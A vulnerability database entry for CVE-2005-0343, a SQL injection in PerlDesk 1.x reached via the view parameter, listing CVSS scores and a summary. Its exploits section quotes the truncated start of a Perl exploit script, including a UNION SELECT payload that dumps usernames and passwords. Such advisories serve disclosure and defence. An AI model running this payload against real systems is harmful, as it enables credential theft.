7.5
CVSSv2

CVE-2005-0343

Published: 02/05/2005 Updated: 11/07/2017
CVSS v2 Base Score: 7.5 | Impact Score: 6.4 | Exploitability Score: 10
VMScore: 755
Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P

Vulnerability Summary

SQL injection vulnerability in PerlDesk 1.x allows remote malicious users to inject arbitrary SQL commands via the view parameter.

Vulnerable Product Search on Vulmon Subscribe to Product

logicnow perldesk 1.0

Exploits

#!/usr/bin/perl # Example: # kbcgi?view=0 UNION SELECT 1,3,password,username,3,7 FROM users # Exploit is attached # /pdepl wwwinternethosting4ucom /perldesk/kbcgi 14824415058:80 use IO::Socket; print ' ######################################################## # PerlDesk exploit # # Usage: /pdsploitpl host path proxy # # # # Vunerabil ...